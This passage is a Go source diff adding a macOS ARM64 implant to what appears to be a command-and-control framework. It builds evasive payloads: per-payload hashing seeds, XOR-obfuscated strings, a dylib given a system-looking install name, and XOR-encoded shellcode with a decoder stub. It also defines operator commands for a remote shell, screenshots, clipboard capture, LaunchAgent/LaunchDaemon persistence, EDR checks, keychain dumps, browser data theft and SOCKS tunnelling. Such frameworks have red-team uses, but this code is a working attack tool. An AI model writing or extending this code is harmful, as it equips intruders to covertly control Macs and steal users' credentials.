err) + } + + // ── Step 5: Ad-hoc codesign ── + // Apple Silicon REQUIRES all binaries to be signed (even ad-hoc). + // The linker adds an ad-hoc signature, but strip removes it. + // We skip strip to preserve the signature — binary is already small (~100KB) + // and OPSEC benefits from no strip (less tooling fingerprint). + // If ldid is available, re-sign after strip for minimal size. + stripAndSign := fmt.Sprintf("PATH=/usr/lib/llvm-18/bin:/opt/osxcross/bin:$PATH; "+ + "if command -v ldid >/dev/null 2>&1; then "+ + "aarch64-apple-darwin23.5-strip %s 2>/dev/null; ldid -S %s; "+ + "fi", buildPath, buildPath) + _ = Ts.TsAgentBuildExecute(profile.BuilderId, currentDir, "sh", "-c", stripAndSign) + + // ── Read output ── + Payload, err := os.ReadFile(buildPath) + if err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", err + } + _ = os.RemoveAll(tempDir) + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Payload size: %d bytes (native Mach-O ARM64)", len(Payload))) + + return Payload, Filename, nil +} + +/// ── Native C shellcode build pipeline (dylib + XOR encoder) ── + +func (p *PluginAgent) buildNativeShellcode(profile adaptix.BuildProfile, agentProfiles [][]byte, generateConfig GenerateConfig, currentDir string, tempDir string) ([]byte, string, error) { + Filename := "agent_shellcode.bin" + dylibPath := tempDir + "/agent_native.dylib" + + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "Target: darwin/arm64 (Shellcode ARM64, Native C)") + + srcDir := NativeSrcDir + + // ── Step 1: Generate config.h, ApiDefines.h, strings_obf.h (same as Mach-O) ── + configContent := generateNativeConfig(agentProfiles) + if err := os.WriteFile(tempDir+"/config.h", []byte(configContent), 0644); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("write config.h: %w", err) + } + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Config: %d profile(s) embedded", len(agentProfiles))) + + djb2Seed := cryptoRandUint32() + if err := os.WriteFile(tempDir+"/ApiDefines.h", []byte(generateMacosApiDefines(djb2Seed)), 0644); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("write ApiDefines.h: %w", err) + } + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("DJB2 seed: 0x%08x (per-payload polymorphism)", djb2Seed)) + + if err := os.WriteFile(tempDir+"/strings_obf.h", []byte(generateObfStrings()), 0644); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("write strings_obf.h: %w", err) + } + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "XOR string obfuscation generated (per-payload key)") + + // ── Step 2: Compile with -DBUILD_DYLIB ── + cFlags := fmt.Sprintf("%s -I %s -I %s -DDJB2_SEED=%dU -DBUILD_DYLIB", NativeCFlags, tempDir, srcDir, djb2Seed) + + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "Compiling native agent sources (dylib mode, per-payload)...") + + compileSrc := func(srcFile string, outputName string) error { + outPath := tempDir + "/" + outputName + ".o" + cmdStr := fmt.Sprintf("PATH=/usr/lib/llvm-18/bin:/opt/osxcross/bin:$PATH %s %s -c %s -o %s", + NativeCompiler, cFlags, srcFile, outPath) + return Ts.TsAgentBuildExecute(profile.BuilderId, currentDir, "sh", "-c", cmdStr) + } + + for _, ofile := range NativeObjFiles { + if err := compileSrc(srcDir+"/"+ofile+".c", ofile); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("compile %s: %w", ofile, err) + } + } + if err := compileSrc(srcDir+"/main.c", "main"); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("compile main: %w", err) + } + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_SUCCESS, "All sources compiled successfully (dylib mode)") + + // ── Step 3: Link as dynamic library ── + var objectFiles []string + for _, ofile := range NativeObjFiles { + objectFiles = append(objectFiles, tempDir+"/"+ofile+".o") + } + objectFiles = append(objectFiles, tempDir+"/main.o") + + dylibLFlags := "-dynamiclib -lSystem -framework CoreFoundation -Wl,-install_name,/usr/lib/libsystem_product.dylib" + linkCmd := fmt.Sprintf("PATH=/usr/lib/llvm-18/bin:/opt/osxcross/bin:$PATH %s %s -o %s %s", + NativeCompiler, dylibLFlags, dylibPath, strings.Join(objectFiles, " ")) + if err := Ts.TsAgentBuildExecute(profile.BuilderId, currentDir, "sh", "-c", linkCmd); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("link dylib: %w", err) + } + + // ── Step 4: Strip + ad-hoc sign ── + stripAndSign := fmt.Sprintf("PATH=/usr/lib/llvm-18/bin:/opt/osxcross/bin:$PATH; "+ + "if command -v ldid >/dev/null 2>&1; then "+ + "aarch64-apple-darwin23.5-strip %s 2>/dev/null; ldid -S %s; "+ + "fi", dylibPath, dylibPath) + _ = Ts.TsAgentBuildExecute(profile.BuilderId, currentDir, "sh", "-c", stripAndSign) + + // ── Step 5: Read dylib bytes ── + dylibBytes, err := os.ReadFile(dylibPath) + if err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("read dylib: %w", err) + } + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Dylib size: %d bytes", len(dylibBytes))) + + // ── Step 6: XOR encode with ARM64 decoder stub ── + shellcode, err := xorEncodeShellcodeARM64(dylibBytes) + if err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("xor encode: %w", err) + } + + _ = os.RemoveAll(tempDir) + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_SUCCESS, fmt.Sprintf("Shellcode size: %d bytes (dylib %d + stub overhead)", len(shellcode), len(dylibBytes))) + + return shellcode, Filename, nil +} + +// parseEscapedBytes converts a Go-escaped string like "\x01\x02\xff" to raw bytes. +func parseEscapedBytes(escaped []byte) []byte { + s := string(escaped) + var result []byte + for i := 0; i < len(s); { + if i+3 < len(s) && s[i] == '\\' && s[i+1] == 'x' { + b, err := strconv.ParseUint(s[i+2:i+4], 16, 8) + if err == nil { + result = append(result, byte(b)) + i += 4 + continue + } + } + result = append(result, s[i]) + i++ + } + return result +} + +// generateNativeConfig creates a C config.h with encrypted profile data as byte arrays. +// agentProfiles contains Go-escaped strings (\xHH format) that we parse to raw bytes. +func generateNativeConfig(agentProfiles [][]byte) string { + var sb strings.Builder + sb.WriteString("// Auto-generated — per-payload config\n") + sb.WriteString("// Do not edit. Regenerated on each build.\n") + sb.WriteString("#ifndef CONFIG_H\n#define CONFIG_H\n\n") + sb.WriteString("#include \n\n") + sb.WriteString(fmt.Sprintf("#define PROFILE_COUNT %d\n\n", len(agentProfiles))) + + for i, escapedProf := range agentProfiles { + rawProf := parseEscapedBytes(escapedProf) + // Write profile as C byte array + sb.WriteString(fmt.Sprintf("static const uint8_t enc_profile_%d[] = {\n ", i)) + for j := 0; j < len(rawProf); j++ { + if j > 0 && j%16 == 0 { + sb.WriteString("\n ") + } + sb.WriteString(fmt.Sprintf("0x%02x", rawProf[j])) + if j < len(rawProf)-1 { + sb.WriteString(", ") + } + } + sb.WriteString("\n};\n") + sb.WriteString(fmt.Sprintf("static const uint32_t enc_profile_%d_size = %d;\n\n", i, len(rawProf))) + } + + // Arrays for iteration + sb.WriteString("static const uint8_t* enc_profiles[] = {\n") + for i := range agentProfiles { + sb.WriteString(fmt.Sprintf(" enc_profile_%d,\n", i)) + } + sb.WriteString("};\n\n") + + sb.WriteString("static const uint32_t enc_profile_sizes[] = {\n") + for i := range agentProfiles { + sb.WriteString(fmt.Sprintf(" enc_profile_%d_size,\n", i)) + } + sb.WriteString("};\n\n") + + sb.WriteString("#endif // CONFIG_H\n") + return sb.String() +} + +func (p *PluginAgent) CreateAgent(beat []byte) (adaptix.AgentData, adaptix.ExtenderAgent, error) { + var agentData adaptix.AgentData + + var sessionInfo SessionInfo + err := msgpack.Unmarshal(beat, &sessionInfo) + if err != nil { + return adaptix.AgentData{}, nil, err + } + + agentData.ACP = int(sessionInfo.Acp) + agentData.OemCP = int(sessionInfo.Oem) + agentData.Pid = fmt.Sprintf("%v", sessionInfo.PID) + agentData.Tid = "" + agentData.Arch = "arm64" + agentData.Elevated = sessionInfo.Elevated + agentData.InternalIP = sessionInfo.Ipaddr + + // macOS agent always reports as darwin + if sessionInfo.Os == "darwin" { + agentData.Os = adaptix.OS_MAC + agentData.OsDesc = sessionInfo.OSVersion + } else { + agentData.Os = adaptix.OS_UNKNOWN + return agentData, nil, errors.New("macOS agent received non-darwin OS") + } + + agentData.SessionKey = sessionInfo.EncryptKey + agentData.Domain = "" + agentData.Computer = sessionInfo.Host + agentData.Username = sessionInfo.User + agentData.Process = sessionInfo.Process + + // TCP agent uses persistent connection — "sleep" is the reconnect timeout + agentData.Sleep = 0 // real-time (persistent TCP) + agentData.Jitter = 0 + + return agentData, &ExtenderAgent{}, nil +} + +/// AGENT HANDLER + +func (ext *ExtenderAgent) Encrypt(data []byte, key []byte) ([]byte, error) { + block, err := aes.NewCipher(key) + if err != nil { + return nil, err + } + + gcm, err := cipher.NewGCM(block) + if err != nil { + return nil, err + } + + nonce := make([]byte, gcm.NonceSize()) + _, err = io.ReadFull(rand.Reader, nonce) + if err != nil { + return nil, err + } + ciphertext := gcm.Seal(nonce, nonce, data, nil) + + return ciphertext, nil +} + +func (ext *ExtenderAgent) Decrypt(data []byte, key []byte) ([]byte, error) { + block, err := aes.NewCipher(key) + if err != nil { + return nil, err + } + + gcm, err := cipher.NewGCM(block) + if err != nil { + return nil, err + } + + nonceSize := gcm.NonceSize() + if len(data) < nonceSize { + return nil, fmt.Errorf("ciphertext too short") + } + + nonce, ciphertext := data[:nonceSize], data[nonceSize:] + + plaintext, err := gcm.Open(nil, nonce, ciphertext, nil) + if err != nil { + return nil, err + } + + return plaintext, nil +} + +func (ext *ExtenderAgent) PackTasks(agentData adaptix.AgentData, tasks []adaptix.TaskData) ([]byte, error) { + var packData []byte + + var objects [][]byte + var command Command + + for _, taskData := range tasks { + taskId, err := strconv.ParseUint(taskData.TaskId, 16, 64) + if err != nil { + return nil, err + } + + _ = msgpack.Unmarshal(taskData.Data, &command) + command.Id = uint(taskId) + + cmd, _ := msgpack.Marshal(command) + + objects = append(objects, cmd) + } + + message := Message{ + Type: 1, + Object: objects, + } + + packData, _ = msgpack.Marshal(message) + + return packData, nil +} + +func (ext *ExtenderAgent) PivotPackData(pivotId string, data []byte) (adaptix.TaskData, error) { + var ( + packData []byte + err error = nil + ) + + err = errors.New("Function Pivot not packed") + + taskData := adaptix.TaskData{ + TaskId: fmt.Sprintf("%08x", mrand.Uint32()), + Type: adaptix.TASK_TYPE_PROXY_DATA, + Data: packData, + Sync: false, + } + + return taskData, err +} + +func (ext *ExtenderAgent) CreateCommand(agentData adaptix.AgentData, args map[string]any) (adaptix.TaskData, adaptix.ConsoleMessageData, error) { + var ( + taskData adaptix.TaskData + messageData adaptix.ConsoleMessageData + err error + ) + + command, ok := args["command"].(string) + if !ok { + return taskData, messageData, errors.New("'command' must be set") + } + subcommand, _ := args["subcommand"].(string) + + taskData = adaptix.TaskData{ + Type: adaptix.TASK_TYPE_TASK, + Sync: true, + } + + messageData = adaptix.ConsoleMessageData{ + Status: adaptix.MESSAGE_INFO, + Text: "", + } + messageData.Message, _ = args["message"].(string) + + var cmd Command + + switch command { + + case "cat": + path, err := getStringArg(args, "path") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsCat{Path: path}) + cmd = Command{Code: COMMAND_CAT, Data: packerData} + + case "cd": + path, err := getStringArg(args, "path") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsCd{Path: path}) + cmd = Command{Code: COMMAND_CD, Data: packerData} + + case "cp": + src, err := getStringArg(args, "src") + if err != nil { + goto RET + } + dst, err := getStringArg(args, "dst") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsCp{Src: src, Dst: dst}) + cmd = Command{Code: COMMAND_CP, Data: packerData} + + case "download": + path, err := getStringArg(args, "path") + if err != nil { + goto RET + } + + r := make([]byte, 4) + _, _ = rand.Read(r) + taskId := binary.BigEndian.Uint32(r) + + taskData.TaskId = fmt.Sprintf("%08x", taskId) + + packerData, _ := msgpack.Marshal(ParamsDownload{Path: path, Task: taskData.TaskId}) + cmd = Command{Code: COMMAND_DOWNLOAD, Data: packerData} + + case "exit": + cmd = Command{Code: COMMAND_EXIT, Data: nil} + + case "job": + if subcommand == "list" { + cmd = Command{Code: COMMAND_JOB_LIST, Data: nil} + + } else if subcommand == "kill" { + jobId, err := getStringArg(args, "task_id") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsJobKill{Id: jobId}) + cmd = Command{Code: COMMAND_JOB_KILL, Data: packerData} + + } else { + err = errors.New("subcommand must be 'list' or 'kill'") + goto RET + } + + case "kill": + pid, err := getFloatArg(args, "pid") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsKill{Pid: int(pid)}) + cmd = Command{Code: COMMAND_KILL, Data: packerData} + + case "ls": + dir, err := getStringArg(args, "path") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsLs{Path: dir}) + cmd = Command{Code: COMMAND_LS, Data: packerData} + + case "mv": + src, err := getStringArg(args, "src") + if err != nil { + goto RET + } + dst, err := getStringArg(args, "dst") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsMv{Src: src, Dst: dst}) + cmd = Command{Code: COMMAND_MV, Data: packerData} + + case "mkdir": + path, err := getStringArg(args, "path") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsMkdir{Path: path}) + cmd = Command{Code: COMMAND_MKDIR, Data: packerData} + + case "ps": + cmd = Command{Code: COMMAND_PS, Data: nil} + + case "pwd": + cmd = Command{Code: COMMAND_PWD, Data: nil} + + case "rm": + path, err := getStringArg(args, "path") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsRm{Path: path}) + cmd = Command{Code: COMMAND_RM, Data: packerData} + + case "run": + taskData.Type = adaptix.TASK_TYPE_JOB + + prog, err := getStringArg(args, "program") + if err != nil { + goto RET + } + runArgs, _ := args["args"].(string) + + r := make([]byte, 4) + _, _ = rand.Read(r) + taskId := binary.BigEndian.Uint32(r) + + taskData.TaskId = fmt.Sprintf("%08x", taskId) + + cmdArgs, _ := shlex.Split(runArgs) + packerData, _ := msgpack.Marshal(ParamsRun{Program: prog, Args: cmdArgs, Task: taskData.TaskId}) + cmd = Command{Code: COMMAND_RUN, Data: packerData} + + case "shell": + cmdParam, err := getStringArg(args, "cmd") + if err != nil { + goto RET + } + + // macOS: always use /bin/zsh (default shell on macOS) + cmdArgs := []string{"-c", cmdParam} + packerData, _ := msgpack.Marshal(ParamsShell{Program: "/bin/zsh", Args: cmdArgs}) + cmd = Command{Code: COMMAND_SHELL, Data: packerData} + + case "screenshot": + cmd = Command{Code: COMMAND_SCREENSHOT, Data: nil} + + case "clipboard": + cmd = Command{Code: COMMAND_CLIPBOARD, Data: nil} + + case "persist": + if subcommand == "launchagent" || subcommand == "launchdaemon" { + name, err := getStringArg(args, "name") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsPersist{Action: "install", Method: subcommand, Name: name}) + cmd = Command{Code: COMMAND_PERSIST, Data: packerData} + } else if subcommand == "remove" { + method, err := getStringArg(args, "method") + if err != nil { + goto RET + } + name, err := getStringArg(args, "name") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsPersist{Action: "remove", Method: method, Name: name}) + cmd = Command{Code: COMMAND_PERSIST, Data: packerData} + } else if subcommand == "status" { + packerData, _ := msgpack.Marshal(ParamsPersist{Action: "status"}) + cmd = Command{Code: COMMAND_PERSIST, Data: packerData} + } else { + err = errors.New("subcommand must be 'launchagent', 'launchdaemon', 'remove', or 'status'") + goto RET + } + + case "tcc_check": + cmd = Command{Code: COMMAND_TCC_CHECK, Data: nil} + + case "defaults_read": + domain, _ := getStringArg(args, "domain") + packerData, _ := msgpack.Marshal(ParamsDefaults{Domain: domain}) + cmd = Command{Code: COMMAND_DEFAULTS, Data: packerData} + + case "edr_check": + cmd = Command{Code: COMMAND_EDR_CHECK, Data: nil} + + case "keychain": + if subcommand == "list" { + packerData, _ := msgpack.Marshal(ParamsKeychain{Action: "list"}) + cmd = Command{Code: COMMAND_KEYCHAIN, Data: packerData} + } else if subcommand == "dump" { + packerData, _ := msgpack.Marshal(ParamsKeychain{Action: "dump"}) + cmd = Command{Code: COMMAND_KEYCHAIN, Data: packerData} + } else { + err = errors.New("subcommand must be 'list' or 'dump'") + goto RET + } + + case "browser_dump": + browser, err := getStringArg(args, "browser") + if err != nil { + goto RET + } + target, _ := getStringArg(args, "target") + if target == "" { + target = "list" + } + packerData, _ := msgpack.Marshal(ParamsBrowserDump{Browser: browser, Target: target}) + cmd = Command{Code: COMMAND_BROWSER_DUMP, Data: packerData} + + case "socks": + taskData.Type = adaptix.TASK_TYPE_TUNNEL + + portNumber, ok := args["port"].(float64) + port := int(portNumber) + if ok { + if port < 1 || port > 65535 { + err = errors.New("port must be from 1 to 65535") + goto RET + } + } + if subcommand == "start" { + address, err := getStringArg(args, "address") + if err != nil { + goto RET + } + + auth := getBoolArg(args, "-a") + if auth { + username, err := getStringArg(args, "username") + if err != nil { + goto RET + } + password, err := getStringArg(args, "password") + if err != nil { + goto RET + } + + tunnelId, err2 := Ts.TsTunnelCreateSocks5(agentData.Id, "", address, port, true, username, password) + if err2 != nil { + err = err2 + goto RET + } + taskData.TaskId, err2 = Ts.TsTunnelStart(tunnelId) + if err2 != nil { + err = err2 + goto RET + } + + taskData.Message = fmt.Sprintf("Socks5 (with Auth) server running on port %d", port) + + } else { + tunnelId, err2 := Ts.TsTunnelCreateSocks5(agentData.Id, "", address, port, false, "", "") + if err2 != nil { + err = err2 + goto RET + } + taskData.TaskId, err2 = Ts.TsTunnelStart(tunnelId) + if err2 != nil { + err = err2 + goto RET + } + + taskData.Message = fmt.Sprintf("Socks5 server running on port %d", port) + } + taskData.MessageType = adaptix.MESSAGE_SUCCESS + taskData.ClearText = "\n" + + } else if subcommand == "stop" { + taskData.Completed = true + + Ts.TsTunnelStopSocks(agentData.Id, port) + + taskData.MessageType = adaptix.MESSAGE_SUCCESS + taskData.Message = "Socks5 server has been stopped" + taskData.ClearText = "\n" + + } else { + err = errors.New("subcommand must be 'start' or 'stop'") + goto RET + } + + case "upload": + remote_path, err := getStringArg(args, "remote_path") + if err != nil { + goto RET + } + localFile, err := getStringArg(args, "local_file") + if err != nil { + goto RET + } + + fileContent, decodeErr := base64.StdEncoding.DecodeString(localFile) + if decodeErr != nil { + err = decodeErr + goto RET + } + + zipContent, zipErr := ZipBytes(fileContent, remote_path) + if zipErr != nil { + err = zipErr + goto RET + } + + chunkSize := 0x500000 // 5Mb + bufferSize := len(zipContent) + + inTaskData := adaptix.TaskData{ + Type: adaptix.TASK_TYPE_TASK, + AgentId: agentData.Id, + Sync: false, + } + + for start := 0; start < bufferSize; start += chunkSize { + fin := start + chunkSize + finish := false + if fin >= bufferSize { + fin = bufferSize + finish = true + } + + inPackerData, _ := msgpack.Marshal(ParamsUpload{ + Path: remote_path, + Content: zipContent[start:fin], + Finish: finish, + }) + inCmd := Command{Code: COMMAND_UPLOAD, Data: inPackerData} + + if finish { + cmd = inCmd + break + + } else { + inTaskData.Data, _ = msgpack.Marshal(inCmd) + inTaskData.TaskId = fmt.Sprintf("%08x", mrand.Uint32()) + + Ts.TsTaskCreate(agentData.Id, "", "", inTaskData) + } + } + + case "zip": + path, err := getStringArg(args, "path") + if err != nil { + goto RET + } + zip_path, err := getStringArg(args, "zip_path") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsZip{Src: path, Dst: zip_path}) + cmd = Command{Code: COMMAND_ZIP, Data: packerData} + + default: + err = errors.New(fmt.Sprintf("Command '%v' not found", command)) + goto RET + } + + taskData.Data, _ = msgpack.Marshal(cmd) + +RET: + return taskData, messageData, err +} + +func (ext *ExtenderAgent) ProcessData(agentData adaptix.AgentData, decryptedData []byte) error { + var outTasks []adaptix.TaskData + + taskData := adaptix.TaskData{ + Type: adaptix.TASK_TYPE_TASK, + AgentId: agentData.Id, + FinishDate: time.Now().Unix(), + MessageType: adaptix.MESSAGE_SUCCESS, + Completed: true, + Sync: true, + } + + var ( + inMessage Message + cmd Command + job Job + ) + + err := msgpack.Unmarshal(decryptedData, &inMessage) + if err != nil { + return errors.New("failed to unmarshal message") + } + + if inMessage.Type == 1 { + + for _, cmdBytes := range inMessage.Object { + err = msgpack.Unmarshal(cmdBytes, &cmd) + if err != nil { + continue + } + + TaskId := cmd.Id + commandId := cmd.Code + task := taskData + task.TaskId = fmt.Sprintf("%08x", TaskId) + + switch commandId { + + case COMMAND_CAT: + var params AnsCat + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = fmt.Sprintf("'%v' file content:", params.Path) + task.ClearText = string(params.Content) + + case COMMAND_CD: + var params AnsPwd + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Current working directory:" + task.ClearText = params.Path + + case COMMAND_CP: + task.Message = "Object copied successfully" + + case COMMAND_PWD: + var params AnsPwd + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Current working directory:" + task.ClearText = params.Path + + case COMMAND_KILL: + task.Message = "Process killed" + + case COMMAND_EXIT: + task.Message = "The agent has completed its work (kill process)" + _ = Ts.TsAgentTerminate(agentData.Id, task.TaskId) + + case COMMAND_JOB_LIST: + var params AnsJobList + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + + var jobList []JobInfo + err = msgpack.Unmarshal(params.List, &jobList) + if err != nil { + continue + } + + Output := "" + if len(jobList) > 0 { + Output += fmt.Sprintf(" %-10s %-13s\n", "JobID", "Type") + Output += fmt.Sprintf(" %-10s %-13s", "--------", "-------") + + for _, value := range jobList { + stringType := "Unknown" + if value.JobType == 0x2 { + stringType = "Download" + } else if value.JobType == 0x3 { + stringType = "Process" + } + + Output += fmt.Sprintf("\n %-10v %-13s", value.JobId, stringType) + } + + task.Message = "Job list:" + task.ClearText = Output + } else { + task.Message = "No active jobs" + } + + case COMMAND_JOB_KILL: + task.Message = "Job killed" + + case COMMAND_LS: + var params AnsLs + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + + // macOS agent: always Unix-style listing + var items []adaptix.ListingFileDataUnix + + if !params.Result { + task.Message = params.Status + task.MessageType = adaptix.MESSAGE_ERROR + } else { + var Files []FileInfo + err := msgpack.Unmarshal(params.Files, &Files) + if err != nil { + continue + } + + filesCount := len(Files) + if filesCount == 0 { + task.Message = fmt.Sprintf("The '%s' directory is EMPTY", params.Path) + } else { + + modeFsize := 1 + lnkFsize := 1 + userFsize := 1 + groupFsize := 1 + sizeFsize := 1 + dateFsize := 1 + + for _, f := range Files { + val := fmt.Sprintf("%d", f.Nlink) + if len(val) > lnkFsize { + lnkFsize = len(val) + } + val = fmt.Sprintf("%d", f.Size) + if len(val) > sizeFsize { + sizeFsize = len(val) + } + if len(f.Mode) > modeFsize { + modeFsize = len(f.Mode) + } + if len(f.User) > userFsize { + userFsize = len(f.User) + } + if len(f.Group) > groupFsize { + groupFsize = len(f.Group) + } + if len(f.Date) > dateFsize { + dateFsize = len(f.Date) + } + } + + format2 := fmt.Sprintf(" %%-%ds %%-%dd %%-%ds %%-%ds %%-%dd %%-%ds %%s", modeFsize, lnkFsize, userFsize, groupFsize, sizeFsize, dateFsize) + OutputText := "" + for _, fi := range Files { + OutputText += fmt.Sprintf("\n"+format2, fi.Mode, fi.Nlink, fi.User, fi.Group, fi.Size, fi.Date, fi.Filename) + + fileData := adaptix.ListingFileDataUnix{ + IsDir: fi.IsDir, + Mode: fi.Mode, + User: fi.User, + Group: fi.Group, + Size: fi.Size, + Date: fi.Date, + Filename: fi.Filename, + } + + items = append(items, fileData) + } + + task.Message = fmt.Sprintf("Listing '%s'", params.Path) + task.ClearText = OutputText + } + } + Ts.TsClientGuiFilesUnix(task, params.Path, items) + + case COMMAND_MKDIR: + task.Message = "Directory created successfully" + + case COMMAND_MV: + task.Message = "Object moved successfully" + + case COMMAND_PS: + var params AnsPs + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + + // macOS agent: always Unix-style process listing + var proclist []adaptix.ListingProcessDataUnix + + if !params.Result { + task.Message = params.Status + task.MessageType = adaptix.MESSAGE_ERROR + } else { + var Processes []PsInfo + err := msgpack.Unmarshal(params.Processes, &Processes) + if err != nil { + continue + } + + procCount := len(Processes) + if procCount == 0 { + task.Message = "Failed to get process list" + task.MessageType = adaptix.MESSAGE_ERROR + break + } else { + pidFsize := 3 + ppidFsize := 4 + ttyFsize := 3 + contextFsize := 7 + processFsize := 7 + + for _, p := range Processes { + val := fmt.Sprintf("%d", p.Pid) + if len(val) > pidFsize { + pidFsize = len(val) + } + val = fmt.Sprintf("%d", p.Ppid) + if len(val) > ppidFsize { + ppidFsize = len(val) + } + if len(p.Tty) > ttyFsize { + ttyFsize = len(p.Tty) + } + if len(p.Context) > contextFsize { + contextFsize = len(p.Context) + } + if len(p.Process) > processFsize { + processFsize = len(p.Process) + } + + procData := adaptix.ListingProcessDataUnix{ + Pid: uint(p.Pid), + Ppid: uint(p.Ppid), + TTY: p.Tty, + Context: p.Context, + ProcessName: p.Process, + } + + proclist = append(proclist, procData) + } + + format := fmt.Sprintf(" %%-%dv %%-%dv %%-%ds %%-%ds %%-%ds", pidFsize, ppidFsize, ttyFsize, contextFsize, processFsize) + OutputText := fmt.Sprintf(format, "PID", "PPID", "TTY", "Context", "Process") + OutputText += fmt.Sprintf("\n"+format, "---", "----", "---", "-------", "-------") + + for _, p := range Processes { + OutputText += fmt.Sprintf("\n"+format, p.Pid, p.Ppid, p.Tty, p.Context, p.Process) + } + + task.Message = "Process list:" + task.ClearText = OutputText + } + } + Ts.TsClientGuiProcessUnix(task, proclist) + + case COMMAND_RM: + task.Message = "Object removed successfully" + + case COMMAND_SCREENSHOT: + // Check for error response first + var errResp AnsError + if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" { + task.Message = "Screenshot error:" + task.ClearText = errResp.Error + task.MessageType = adaptix.MESSAGE_ERROR + break + } + + var params AnsScreenshots + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + + for _, screen := range params.Screens { + _ = Ts.TsScreenshotAdd(agentData.Id, "screenshot", screen) + } + task.Message = fmt.Sprintf("Screenshots taken: %d", len(params.Screens)) + + case COMMAND_SHELL: + // Check for error response first + var errResp AnsError + if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" { + task.Message = "Shell error:" + task.ClearText = errResp.Error + task.MessageType = adaptix.MESSAGE_ERROR + break + } + + var params AnsShell + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Shell command output:" + task.ClearText = params.Output + + case COMMAND_CLIPBOARD: + var params AnsShell + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Clipboard contents:" + task.ClearText = params.Output + + case COMMAND_PERSIST: + var params AnsPersist + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Persistence:" + task.ClearText = params.Output + + case COMMAND_TCC_CHECK: + var params AnsShell + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "TCC Permissions:" + task.ClearText = params.Output + + case COMMAND_DEFAULTS: + var params AnsShell + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Defaults output:" + task.ClearText = params.Output + + case COMMAND_EDR_CHECK: + var params AnsShell + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "EDR/Security scan:" + task.ClearText = params.Output + + case COMMAND_KEYCHAIN: + var params AnsShell + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Keychain:" + task.ClearText = params.Output + + case COMMAND_BROWSER_DUMP: + var params AnsShell + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Browser data:" + task.ClearText = params.Output + + case COMMAND_UPLOAD: + var params AnsUpload + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = fmt.Sprintf("File uploaded: %s", params.Path) + + case COMMAND_ZIP: + var params AnsZip + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = fmt.Sprintf("Archive created: %s", params.Path) + + case COMMAND_ERROR: + var params AnsError + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Error:" + task.ClearText = params.Error + task.MessageType = adaptix.MESSAGE_ERROR + + case COMMAND_DOWNLOAD: + task.Message = "Download started" + task.Completed = false + + case COMMAND_RUN: + task.Message = "Process started (async)" + task.Completed = false + + case COMMAND_TUNNEL_START: + task.Message = "Tunnel starting" + task.Completed = false + + case COMMAND_TUNNEL_STOP: + task.Message = "Tunnel stopped" + + case COMMAND_TUNNEL_PAUSE: + task.Message = "Tunnel paused" + + case COMMAND_TUNNEL_RESUME: + task.Message = "Tunnel resumed" + + case COMMAND_TERMINAL_START: + task.Message = "Terminal starting" + task.Completed = false + + case 